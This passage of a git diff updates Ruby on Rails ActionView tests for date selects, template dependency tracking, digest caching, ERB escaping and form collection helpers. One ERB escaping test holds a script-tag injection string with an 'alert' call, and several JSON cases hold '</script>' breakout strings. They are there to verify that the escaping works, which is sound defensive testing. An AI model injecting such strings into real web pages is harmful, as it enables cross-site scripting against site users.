-    expected << " : <select id='post_updated_at_5i' name='post[updated_at(5i)]' class='selector'>\n<option value='00'>00</option>\n<option value='01'>01</option>\n<option value='02'>02</option>\n<option value='03'>03</option>\n<option value='04'>04</option>\n<option value='05'>05</option>\n<option value='06'>06</option>\n<option value='07'>07</option>\n<option value='08'>08</option>\n<option value='09'>09</option>\n<option value='10'>10</option>\n<option value='11'>11</option>\n<option value='12'>12</option>\n<option value='13'>13</option>\n<option value='14'>14</option>\n<option value='15'>15</option>\n<option value='16'>16</option>\n<option value='17'>17</option>\n<option value='18'>18</option>\n<option value='19'>19</option>\n<option value='20'>20</option>\n<option value='21'>21</option>\n<option value='22'>22</option>\n<option value='23'>23</option>\n<option value='24'>24</option>\n<option value='25'>25</option>\n<option value='26'>26</option>\n<option value='27'>27</option>\n<option value='28'>28</option>\n<option value='29'>29</option>\n<option value='30'>30</option>\n<option value='31'>31</option>\n<option value='32'>32</option>\n<option value='33'>33</option>\n<option value='34'>34</option>\n<option selected='selected' value='35'>35</option>\n<option value='36'>36</option>\n<option value='37'>37</option>\n<option value='38'>38</option>\n<option value='39'>39</option>\n<option value='40'>40</option>\n<option value='41'>41</option>\n<option value='42'>42</option>\n<option value='43'>43</option>\n<option value='44'>44</option>\n<option value='45'>45</option>\n<option value='46'>46</option>\n<option value='47'>47</option>\n<option value='48'>48</option>\n<option value='49'>49</option>\n<option value='50'>50</option>\n<option value='51'>51</option>\n<option value='52'>52</option>\n<option value='53'>53</option>\n<option value='54'>54</option>\n<option value='55'>55</option>\n<option value='56'>56</option>\n<option value='57'>57</option>\n<option value='58'>58</option>\n<option value='59'>59</option>\n</select>\n"
+    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]" class="selector">\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option selected="selected" value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n</select>\n}
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]" class="selector">\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option selected="selected" value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n</select>\n}
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]" class="selector">\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option selected="selected" value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n</select>\n}
+    expected << %{ &mdash; <select id="post_updated_at_4i" name="post[updated_at(4i)]" class="selector">\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option selected="selected" value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n</select>\n}
+    expected << %{ : <select id="post_updated_at_5i" name="post[updated_at(5i)]" class="selector">\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option selected="selected" value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n</select>\n}
 
     assert_dom_equal expected, output_buffer
   end
diff --git a/actionview/test/template/dependency_tracker_test.rb b/actionview/test/template/dependency_tracker_test.rb
index 7a9b4b26ac..d74da4c318 100644
--- a/actionview/test/template/dependency_tracker_test.rb
+++ b/actionview/test/template/dependency_tracker_test.rb
@@ -1,3 +1,4 @@
+
 require 'abstract_unit'
 require 'action_view/dependency_tracker'
 
@@ -29,6 +30,7 @@ class DependencyTrackerTest < ActionView::TestCase
   end
 
   def teardown
+    ActionView::Template.unregister_template_handler :neckbeard
     tracker.remove_tracker(:neckbeard)
   end
 
@@ -52,23 +54,142 @@ class ERBTrackerTest < Minitest::Test
 
   def test_dependency_of_erb_template_with_number_in_filename
     template = FakeTemplate.new("<%# render 'messages/message123' %>", :erb)
-    tracker = make_tracker('messages/_message123', template)
+    tracker = make_tracker("messages/_message123", template)
 
     assert_equal ["messages/message123"], tracker.dependencies
   end
 
+  def test_dependency_of_template_partial_with_layout
+    skip # FIXME: Needs to be fixed properly, right now we can only match one dependency per line. Need multiple!
+    template = FakeTemplate.new("<%# render partial: 'messages/show', layout: 'messages/layout' %>", :erb)
+    tracker = make_tracker("multiple/_dependencies", template)
+
+    assert_equal ["messages/layout", "messages/show"], tracker.dependencies
+  end
+
+  def test_dependency_of_template_layout_standalone
+    template = FakeTemplate.new("<%# render layout: 'messages/layout' do %>", :erb)
+    tracker = make_tracker("messages/layout", template)
+
+    assert_equal ["messages/layout"], tracker.dependencies
+  end
+
   def test_finds_dependency_in_correct_directory
     template = FakeTemplate.new("<%# render(message.topic) %>", :erb)
-    tracker = make_tracker('messages/_message', template)
+    tracker = make_tracker("messages/_message", template)
 
     assert_equal ["topics/topic"], tracker.dependencies
   end
 
   def test_finds_dependency_in_correct_directory_with_underscore
     template = FakeTemplate.new("<%# render(message_type.messages) %>", :erb)
-    tracker = make_tracker('message_types/_message_type', template)
+    tracker = make_tracker("message_types/_message_type", template)
 
     assert_equal ["messages/message"], tracker.dependencies
   end
-end
 
+  def test_dependency_of_erb_template_with_no_spaces_after_render
+    template = FakeTemplate.new("<%# render'messages/message' %>", :erb)
+    tracker = make_tracker("messages/_message", template)
+
+    assert_equal ["messages/message"], tracker.dependencies
+  end
+
+  def test_finds_no_dependency_when_render_begins_the_name_of_an_identifier
+    template = FakeTemplate.new("<%# rendering 'it useless' %>", :erb)
+    tracker = make_tracker("resources/_resource", template)
+
+    assert_equal [], tracker.dependencies
+  end
+
+  def test_finds_no_dependency_when_render_ends_the_name_of_another_method
+    template = FakeTemplate.new("<%# surrender 'to reason' %>", :erb)
+    tracker = make_tracker("resources/_resource", template)
+
+    assert_equal [], tracker.dependencies
+  end
+
+  def test_finds_dependency_on_multiline_render_calls
+    template = FakeTemplate.new("<%#
+      render :object => @all_posts,
+             :partial => 'posts' %>", :erb)
+
+    tracker = make_tracker("some/_little_posts", template)
+
+    assert_equal ["some/posts"], tracker.dependencies
+  end
+
+  def test_finds_multiple_unrelated_odd_dependencies
+    template = FakeTemplate.new("
+      <%# render('shared/header', title: 'Title') %>
+      <h2>Section title</h2>
+      <%# render@section %>
+    ", :erb)
+
+    tracker = make_tracker("multiple/_dependencies", template)
+
+    assert_equal ["shared/header", "sections/section"], tracker.dependencies
+  end
+
+  def test_finds_dependencies_for_all_kinds_of_identifiers
+    template = FakeTemplate.new("
+      <%# render $globals %>
+      <%# render @instance_variables %>
+      <%# render @@class_variables %>
+    ", :erb)
+
+    tracker = make_tracker("identifiers/_all", template)
+
+    assert_equal [
+      "globals/global",
+      "instance_variables/instance_variable",
+      "class_variables/class_variable"
+    ], tracker.dependencies
+  end
+
+  def test_finds_dependencies_on_method_chains
+    template = FakeTemplate.new("<%# render @parent.child.grandchildren %>", :erb)
+    tracker = make_tracker("method/_chains", template)
+
+    assert_equal ["grandchildren/grandchild"], tracker.dependencies
+  end
+
+  def test_finds_dependencies_with_special_characters
+    template = FakeTemplate.new("<%# render @pokémon, partial: 'ピカチュウ' %>", :erb)
+    tracker = make_tracker("special/_characters", template)
+
+    assert_equal ["special/ピカチュウ"], tracker.dependencies
+  end
+
+  def test_finds_dependencies_with_quotes_within
+    template = FakeTemplate.new(%{
+      <%# render "single/quote's" %>
+      <%# render 'double/quote"s' %>
+    }, :erb)
+
+    tracker = make_tracker("quotes/_single_and_double", template)
+
+    assert_equal ["single/quote's", 'double/quote"s'], tracker.dependencies
+  end
+
+  def test_finds_dependencies_with_extra_spaces
+    template = FakeTemplate.new(%{
+      <%= render              "header" %>
+      <%= render    partial:  "form" %>
+      <%= render              @message %>
+      <%= render ( @message.events ) %>
+      <%= render    :collection => @message.comments,
+                    :partial =>    "comments/comment" %>
+    }, :erb)
+
+    tracker = make_tracker("spaces/_extra", template)
+
+    assert_equal [
+      "spaces/header",
+      "spaces/form",
+      "messages/message",
+      "events/event",
+      "comments/comment"
+    ], tracker.dependencies
+  end
+end
diff --git a/actionview/test/template/digestor_test.rb b/actionview/test/template/digestor_test.rb
index c6608e214a..c2b8439df3 100644
--- a/actionview/test/template/digestor_test.rb
+++ b/actionview/test/template/digestor_test.rb
@@ -15,8 +15,30 @@ end
 class FixtureFinder
   FIXTURES_DIR = "#{File.dirname(__FILE__)}/../fixtures/digestor"
 
-  def find(logical_name, keys, partial, options)
-    FixtureTemplate.new("digestor/#{partial ? logical_name.gsub(%r|/([^/]+)$|, '/_\1') : logical_name}.#{options[:formats].first}.erb")
+  attr_reader   :details
+  attr_accessor :formats
+  attr_accessor :variants
+
+  def initialize
+    @details  = {}
+    @formats  = []
+    @variants = []
+  end
+
+  def details_key
+    details.hash
+  end
+
+  def find(name, prefixes = [], partial = false, keys = [], options = {})
+    partial_name = partial ? name.gsub(%r|/([^/]+)$|, '/_\1') : name
+    format = @formats.first.to_s
+    format += "+#{@variants.first}" if @variants.any?
+
+    FixtureTemplate.new("digestor/#{partial_name}.#{format}.erb")
+  end
+
+  def disable_cache(&block)
+    yield
   end
 end
 
@@ -78,13 +100,13 @@ class TemplateDigestorTest < ActionView::TestCase
   end
 
   def test_logging_of_missing_template
-    assert_logged "Couldn't find template for digesting: messages/something_missing.html" do
+    assert_logged "Couldn't find template for digesting: messages/something_missing" do
       digest("messages/show")
     end
   end
 
   def test_logging_of_missing_template_ending_with_number
-    assert_logged "Couldn't find template for digesting: messages/something_missing_1.html" do
+    assert_logged "Couldn't find template for digesting: messages/something_missing_1" do
       digest("messages/show")
     end
   end
@@ -140,6 +162,20 @@ class TemplateDigestorTest < ActionView::TestCase
     end
   end
 
+  def test_details_are_included_in_cache_key
+    # Cache the template digest.
+    old_digest = digest("events/_event")
+
+    # Change the template; the cached digest remains unchanged.
+    change_template("events/_event")
+
+    # The details are changed, so a new cache key is generated.
+    finder.details[:foo] = "bar"
+
+    # The cache is busted.
+    assert_not_equal old_digest, digest("events/_event")
+  end
+
   def test_extra_whitespace_in_render_partial
     assert_digest_difference("messages/edit") do
       change_template("messages/_form")
@@ -170,6 +206,13 @@ class TemplateDigestorTest < ActionView::TestCase
     end
   end
 
+  def test_variants
+    assert_digest_difference("messages/new", false, variants: [:iphone]) do
+      change_template("messages/new",     :iphone)
+      change_template("messages/_header", :iphone)
+    end
+  end
+
   def test_dependencies_via_options_results_in_different_digest
     digest_plain        = digest("comments/_comment")
     digest_fridge       = digest("comments/_comment", dependencies: ["fridge"])
@@ -190,9 +233,36 @@ class TemplateDigestorTest < ActionView::TestCase
     assert_digest_difference("messages/edit", true) do
       change_template("comments/_comment")
     end
+  ensure
     ActionView::Resolver.caching = resolver_before
   end
 
+  def test_digest_cache_cleanup_with_recursion
+    first_digest = digest("level/_recursion")
+    second_digest = digest("level/_recursion")
+
+    assert first_digest
+
+    # If the cache is cleaned up correctly, subsequent digests should return the same
+    assert_equal first_digest, second_digest
+  end
+
+  def test_digest_cache_cleanup_with_recursion_and_template_caching_off
+    resolver_before = ActionView::Resolver.caching
+    ActionView::Resolver.caching = false
+
+    first_digest = digest("level/_recursion")
+    second_digest = digest("level/_recursion")
+
+    assert first_digest
+
+    # If the cache is cleaned up correctly, subsequent digests should return the same
+    assert_equal first_digest, second_digest
+  ensure
+    ActionView::Resolver.caching = resolver_before
+  end
+
+
   private
     def assert_logged(message)
       old_logger = ActionView::Base.logger
@@ -209,22 +279,33 @@ class TemplateDigestorTest < ActionView::TestCase
       end
     end
 
-    def assert_digest_difference(template_name, persistent = false)
-      previous_digest = digest(template_name)
+    def assert_digest_difference(template_name, persistent = false, options = {})
+      previous_digest = digest(template_name, options)
       ActionView::Digestor.cache.clear unless persistent
 
       yield
 
-      assert previous_digest != digest(template_name), "digest didn't change"
+      assert previous_digest != digest(template_name, options), "digest didn't change"
       ActionView::Digestor.cache.clear
     end
 
-    def digest(template_name, options={})
-      ActionView::Digestor.digest(template_name, :html, FixtureFinder.new, options)
+    def digest(template_name, options = {})
+      options = options.dup
+
+      finder.formats  = [:html]
+      finder.variants = options.delete(:variants) || []
+
+      ActionView::Digestor.digest({ name: template_name, finder: finder }.merge(options))
+    end
+
+    def finder
+      @finder ||= FixtureFinder.new
     end
 
-    def change_template(template_name)
-      File.open("digestor/#{template_name}.html.erb", "w") do |f|
+    def change_template(template_name, variant = nil)
+      variant = "+#{variant}" if variant.present?
+
+      File.open("digestor/#{template_name}.html#{variant}.erb", "w") do |f|
         f.write "\nTHIS WAS CHANGED!"
       end
     end
diff --git a/actionview/test/template/erb_util_test.rb b/actionview/test/template/erb_util_test.rb
index 3e5b029cea..3e72be31de 100644
--- a/actionview/test/template/erb_util_test.rb
+++ b/actionview/test/template/erb_util_test.rb
@@ -1,4 +1,5 @@
 require 'abstract_unit'
+require 'active_support/json'
 
 class ErbUtilTest < ActiveSupport::TestCase
   include ERB::Util
@@ -15,6 +16,51 @@ class ErbUtilTest < ActiveSupport::TestCase
     end
   end
 
+  HTML_ESCAPE_TEST_CASES = [
+    ['<br>', '&lt;br&gt;'],
+    ['a & b', 'a &amp; b'],
+    ['"quoted" string', '&quot;quoted&quot; string'],
+    ["'quoted' string", '&#39;quoted&#39; string'],
+    [
+      '<script type="application/javascript">alert("You are \'pwned\'!")</script>',
+      '&lt;script type=&quot;application/javascript&quot;&gt;alert(&quot;You are &#39;pwned&#39;!&quot;)&lt;/script&gt;'
+    ]
+  ]
+
+  JSON_ESCAPE_TEST_CASES = [
+    ['1', '1'],
+    ['null', 'null'],
+    ['"&"', '"\u0026"'],
+    ['"</script>"', '"\u003c/script\u003e"'],
+    ['["</script>"]', '["\u003c/script\u003e"]'],
+    ['{"name":"</script>"}', '{"name":"\u003c/script\u003e"}'],
+    [%({"name":"d\u2028h\u2029h"}), '{"name":"d\u2028h\u2029h"}']
+  ]
+
+  def test_html_escape
+    HTML_ESCAPE_TEST_CASES.each do |(raw, expected)|
+      assert_equal expected, html_escape(raw)
+    end
+  end
+
+  def test_json_escape
+    JSON_ESCAPE_TEST_CASES.each do |(raw, expected)|
+      assert_equal expected, json_escape(raw)
+    end
+  end
+
+  def test_json_escape_does_not_alter_json_string_meaning
+    JSON_ESCAPE_TEST_CASES.each do |(raw, _)|
+      assert_equal ActiveSupport::JSON.decode(raw), ActiveSupport::JSON.decode(json_escape(raw))
+    end
+  end
+
+  def test_json_escape_is_idempotent
+    JSON_ESCAPE_TEST_CASES.each do |(raw, _)|
+      assert_equal json_escape(raw), json_escape(json_escape(raw))
+    end
+  end
+
   def test_json_escape_returns_unsafe_strings_when_passed_unsafe_strings
     value = json_escape("asdf")
     assert !value.html_safe?
@@ -31,14 +77,14 @@ class ErbUtilTest < ActiveSupport::TestCase
     assert escaped.html_safe?
   end
 
-  def test_html_escape_passes_html_escpe_unmodified
+  def test_html_escape_passes_html_escape_unmodified
     escaped = h("<p>".html_safe)
     assert_equal "<p>", escaped
     assert escaped.html_safe?
   end
 
   def test_rest_in_ascii
-    (0..127).to_a.map {|int| int.chr }.each do |chr|
+    (0..127).to_a.map(&:chr).each do |chr|
       next if %('"&<>).include?(chr)
       assert_equal chr, html_escape(chr)
     end
@@ -46,6 +92,7 @@ class ErbUtilTest < ActiveSupport::TestCase
 
   def test_html_escape_once
     assert_equal '1 &lt;&gt;&amp;&quot;&#39; 2 &amp; 3', html_escape_once('1 <>&"\' 2 &amp; 3')
+    assert_equal " &#X27; &#x27; &#x03BB; &#X03bb; &quot; &#39; &lt; &gt; ", html_escape_once(" &#X27; &#x27; &#x03BB; &#X03bb; \" ' < > ")
   end
 
   def test_html_escape_once_returns_unsafe_strings_when_passed_unsafe_strings
diff --git a/actionview/test/template/form_collections_helper_test.rb b/actionview/test/template/form_collections_helper_test.rb
index bc9c21dfd3..b193d387c3 100644
--- a/actionview/test/template/form_collections_helper_test.rb
+++ b/actionview/test/template/form_collections_helper_test.rb
@@ -17,14 +17,14 @@ class FormCollectionsHelperTest < ActionView::TestCase
   end
 
   # COLLECTION RADIO BUTTONS
-  test 'collection radio accepts a collection and generate inputs from value method' do
+  test 'collection radio accepts a collection and generates inputs from value method' do
     with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s
 
     assert_select 'input[type=radio][value=true]#user_active_true'
     assert_select 'input[type=radio][value=false]#user_active_false'
   end
 
-  test 'collection radio accepts a collection and generate inputs from label method' do
+  test 'collection radio accepts a collection and generates inputs from label method' do
     with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s
 
     assert_select 'label[for=user_active_true]', 'true'
@@ -38,7 +38,7 @@ class FormCollectionsHelperTest < ActionView::TestCase
     assert_select 'label[for=user_active_no]', 'No'
   end
 
-  test 'colection radio should sanitize collection values for labels correctly' do
+  test 'collection radio should sanitize collection values for labels correctly' do
     with_collection_radio_buttons :user, :name, ['$0.99', '$1.99'], :to_s, :to_s
     assert_select 'label[for=user_name_099]', '$0.99'
     assert_select 'label[for=user_name_199]', '$1.99'
@@ -60,7 +60,7 @@ class FormCollectionsHelperTest < ActionView::TestCase
     assert_no_select 'input[type=radio][value=other][disabled=disabled]'
   end
 
-  test 'collection radio accepts single disable item' do
+  test 'collection radio accepts single disabled item' do
     collection = [[1, true], [0, false]]
     with_collection_radio_buttons :user, :active, collection, :last, :first, :disabled => true
 
@@ -68,6 +68,23 @@ class FormCollectionsHelperTest < ActionView::TestCase
     assert_no_select 'input[type=radio][value=false][disabled=disabled]'
   end
 
+  test 'collection radio accepts multiple readonly items' do
+    collection = [[1, true], [0, false], [2, 'other']]
+    with_collection_radio_buttons :user, :active, collection, :last, :first, :readonly => [true, false]
+
+    assert_select 'input[type=radio][value=true][readonly=readonly]'
+    assert_select 'input[type=radio][value=false][readonly=readonly]'
+    assert_no_select 'input[type=radio][value=other][readonly=readonly]'
+  end
+
+  test 'collection radio accepts single readonly item' do
+    collection = [[1, true], [0, false]]
+    with_collection_radio_buttons :user, :active, collection, :last, :first, :readonly => true
+
+    assert_select 'input[type=radio][value=true][readonly=readonly]'
+    assert_no_select 'input[type=radio][value=false][readonly=readonly]'
+  end
+
   test 'collection radio accepts html options as input' do
     collection = [[1, true], [0, false]]
     with_collection_radio_buttons :user, :active, collection, :last, :first, {}, :class => 'special-radio'
@@ -84,6 +101,24 @@ class FormCollectionsHelperTest < ActionView::TestCase
     assert_select 'input[type=radio][value=false].bar#user_active_false'
   end
 
+  test 'collection radio sets the label class defined inside the block' do
+    collection = [[1, true, {class: 'foo'}], [0, false, {class: 'bar'}]]
+    with_collection_radio_buttons :user, :active, collection, :second, :first do |b|
+      b.label(class: "collection_radio_buttons")
+    end
+
+    assert_select 'label.collection_radio_buttons[for=user_active_true]'
+    assert_select 'label.collection_radio_buttons[for=user_active_false]'
+  end
+
+  test 'collection radio does not include the input class in the respective label' do
+    collection = [[1, true, {class: 'foo'}], [0, false, {class: 'bar'}]]
+    with_collection_radio_buttons :user, :active, collection, :second, :first
+
+    assert_no_select 'label.foo[for=user_active_true]'
+    assert_no_select 'label.bar[for=user_active_false]'
+  end
+
   test 'collection radio does not wrap input inside the label' do
     with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s
 
@@ -150,8 +185,8 @@ class FormCollectionsHelperTest < ActionView::TestCase
       p.collection_radio_buttons :category_id, collection, :id, :name
     end
 
-    assert_select 'input#post_category_id_1[type=radio][value=1]'
-    assert_select 'input#post_category_id_2[type=radio][value=2]'
+    assert_select 'input#post_category_id_1[type=radio][value="1"]'
+    assert_select 'input#post_category_id_2[type=radio][value="2"]'
 
     assert_select 'label[for=post_category_id_1]', 'Category 1'
     assert_select 'label[for=post_category_id_2]', 'Category 2'
@@ -164,22 +199,43 @@ class FormCollectionsHelperTest < ActionView::TestCase
   end
 
   # COLLECTION CHECK BOXES
-  test 'collection check boxes accepts a collection and generate a serie of checkboxes for value method' do
+  test 'collection check boxes accepts a collection and generate a series of checkboxes for value method' do
     collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
     with_collection_check_boxes :user, :category_ids, collection, :id, :name
 
-    assert_select 'input#user_category_ids_1[type=checkbox][value=1]'
-    assert_select 'input#user_category_ids_2[type=checkbox][value=2]'
+    assert_select 'input#user_category_ids_1[type=checkbox][value="1"]'
+    assert_select 'input#user_category_ids_2[type=checkbox][value="2"]'
   end
 
   test 'collection check boxes generates only one hidden field for the entire collection, to ensure something will be sent back to the server when posting an empty collection' do
     collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
     with_collection_check_boxes :user, :category_ids, collection, :id, :name
 
-    assert_select "input[type=hidden][name='user[category_ids][]'][value=]", :count => 1
+    assert_select "input[type=hidden][name='user[category_ids][]'][value='']", :count => 1
+  end
+
+  test 'collection check boxes generates a hidden field using the given :name in :html_options' do
+    collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
+    with_collection_check_boxes :user, :category_ids, collection, :id, :name, {}, {name: "user[other_category_ids][]"}
+
+    assert_select "input[type=hidden][name='user[other_category_ids][]'][value='']", :count => 1
+  end
+
+  test 'collection check boxes generates a hidden field with index if it was provided' do
+    collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
+    with_collection_check_boxes :user, :category_ids, collection, :id, :name, { index: 322 }
+
+    assert_select "input[type=hidden][name='user[322][category_ids][]'][value='']", count: 1
   end
 
-  test 'collection check boxes accepts a collection and generate a serie of checkboxes with labels for label method' do
+  test 'collection check boxes does not generate a hidden field if include_hidden option is false' do
+    collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
+    with_collection_check_boxes :user, :category_ids, collection, :id, :name, include_hidden: false
+
+    assert_select "input[type=hidden][name='user[category_ids][]'][value='']", :count => 0
+  end
+
+  test 'collection check boxes accepts a collection and generate a series of checkboxes with labels for label method' do
     collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
     with_collection_check_boxes :user, :category_ids, collection, :id, :name
 
@@ -194,7 +250,7 @@ class FormCollectionsHelperTest < ActionView::TestCase
     assert_select 'label[for=user_active_no]', 'No'
   end
 
-  test 'colection check box should sanitize collection values for labels correctly' do
+  test 'collection check box should sanitize collection values for labels correctly' do
     with_collection_check_boxes :user, :name, ['$0.99', '$1.99'], :to_s, :to_s
     assert_select 'label[for=user_name_099]', '$0.99'
     assert_select 'label[for=user_name_199]', '$1.99'
@@ -204,35 +260,53 @@ class FormCollectionsHelperTest < ActionView::TestCase
     collection = [[1, 'Category 1', {class: 'foo'}], [2, 'Category 2', {class: 'bar'}]]
     with_collection_check_boxes :user, :active, collection, :first, :second
 
-    assert_select 'input[type=checkbox][value=1].foo'
-    assert_select 'input[type=checkbox][value=2].bar'
+    assert_select 'input[type=checkbox][value="1"].foo'
+    assert_select 'input[type=checkbox][value="2"].bar'
+  end
+
+  test 'collection check boxes sets the label class defined inside the block' do
+    collection = [[1, 'Category 1', {class: 'foo'}], [2, 'Category 2', {class: 'bar'}]]
+    with_collection_check_boxes :user, :active, collection, :second, :first do |b|
+      b.label(class: 'collection_check_boxes')
+    end
+
+    assert_select 'label.collection_check_boxes[for=user_active_category_1]'
+    assert_select 'label.collection_check_boxes[for=user_active_category_2]'
+  end
+
+  test 'collection check boxes does not include the input class in the respective label' do
+    collection = [[1, 'Category 1', {class: 'foo'}], [2, 'Category 2', {class: 'bar'}]]
+    with_collection_check_boxes :user, :active, collection, :second, :first
+
+    assert_no_select 'label.foo[for=user_active_category_1]'
+    assert_no_select 'label.bar[for=user_active_category_2]'
   end
 
   test 'collection check boxes accepts selected values as :checked option' do
     collection = (1..3).map{|i| [i, "Category #{i}"] }
     with_collection_check_boxes :user, :category_ids, collection, :first, :last, :checked => [1, 3]
 
-    assert_select 'input[type=checkbox][value=1][checked=checked]'
-    assert_select 'input[type=checkbox][value=3][checked=checked]'
-    assert_no_select 'input[type=checkbox][value=2][checked=checked]'
+    assert_select 'input[type=checkbox][value="1"][checked=checked]'
+    assert_select 'input[type=checkbox][value="3"][checked=checked]'
+    assert_no_select 'input[type=checkbox][value="2"][checked=checked]'
   end
 
   test 'collection check boxes accepts selected string values as :checked option' do
     collection = (1..3).map{|i| [i, "Category #{i}"] }
     with_collection_check_boxes :user, :category_ids, collection, :first, :last, :checked => ['1', '3']
 
-    assert_select 'input[type=checkbox][value=1][checked=checked]'
-    assert_select 'input[type=checkbox][value=3][checked=checked]'
-    assert_no_select 'input[type=checkbox][value=2][checked=checked]'
+    assert_select 'input[type=checkbox][value="1"][checked=checked]'
+    assert_select 'input[type=checkbox][value="3"][checked=checked]'
+    assert_no_select 'input[type=checkbox][value="2"][checked=checked]'
   end
 
   test 'collection check boxes accepts a single checked value' do
     collection = (1..3).map{|i| [i, "Category #{i}"] }
     with_collection_check_boxes :user, :category_ids, collection, :first, :last, :checked => 3
 
-    assert_select 'input[type=checkbox][value=3][checked=checked]'
-    assert_no_select 'input[type=checkbox][value=1][checked=checked]'
-    assert_no_select 'input[type=checkbox][value=2][checked=checked]'
+    assert_select 'input[type=checkbox][value="3"][checked=checked]'
+    assert_no_select 'input[type=checkbox][value="1"][checked=checked]'
+    assert_no_select 'input[type=checkbox][value="2"][checked=checked]'
   end
 
   test 'collection check boxes accepts selected values as :checked option and override the model values' do
@@ -243,44 +317,71 @@ class FormCollectionsHelperTest < ActionView::TestCase
       p.collection_check_boxes :category_ids, collection, :first, :last, :checked => [1, 3]
     end
 
-    assert_select 'input[type=checkbox][value=1][checked=checked]'
-    assert_select 'input[type=checkbox][value=3][checked=checked]'
-    assert_no_select 'input[type=checkbox][value=2][checked=checked]'
+    assert_select 'input[type=checkbox][value="1"][checked=checked]'
+    assert_select 'input[type=checkbox][value="3"][checked=checked]'
+    assert_no_select 'input[type=checkbox][value="2"][checked=checked]'
   end
 
   test 'collection check boxes accepts multiple disabled items' do
     collection = (1..3).map{|i| [i, "Category #{i}"] }
     with_collection_check_boxes :user, :category_ids, collection, :first, :last, :disabled => [1, 3]
 
-    assert_select 'input[type=checkbox][value=1][disabled=disabled]'
-    assert_select 'input[type=checkbox][value=3][disabled=disabled]'
-    assert_no_select 'input[type=checkbox][value=2][disabled=disabled]'
+    assert_select 'input[type=checkbox][value="1"][disabled=disabled]'
+    assert_select 'input[type=checkbox][value="3"][disabled=disabled]'
+    assert_no_select 'input[type=checkbox][value="2"][disabled=disabled]'
   end
 
-  test 'collection check boxes accepts single disable item' do
+  test 'collection check boxes accepts single disabled item' do
     collection = (1..3).map{|i| [i, "Category #{i}"] }
     with_collection_check_boxes :user, :category_ids, collection, :first, :last, :disabled => 1
 
-    assert_select 'input[type=checkbox][value=1][disabled=disabled]'
-    assert_no_select 'input[type=checkbox][value=3][disabled=disabled]'
-    assert_no_select 'input[type=checkbox][value=2][disabled=disabled]'
+    assert_select 'input[type=checkbox][value="1"][disabled=disabled]'
+    assert_no_select 'input[type=checkbox][value="3"][disabled=disabled]'
+    assert_no_select 'input[type=checkbox][value="2"][disabled=disabled]'
   end
 
   test 'collection check boxes accepts a proc to disabled items' do
     collection = (1..3).map{|i| [i, "Category #{i}"] }
     with_collection_check_boxes :user, :category_ids, collection, :first, :last, :disabled => proc { |i| i.first == 1 }
 
-    assert_select 'input[type=checkbox][value=1][disabled=disabled]'
-    assert_no_select 'input[type=checkbox][value=3][disabled=disabled]'
-    assert_no_select 'input[type=checkbox][value=2][disabled=disabled]'
+    assert_select 'input[type=checkbox][value="1"][disabled=disabled]'
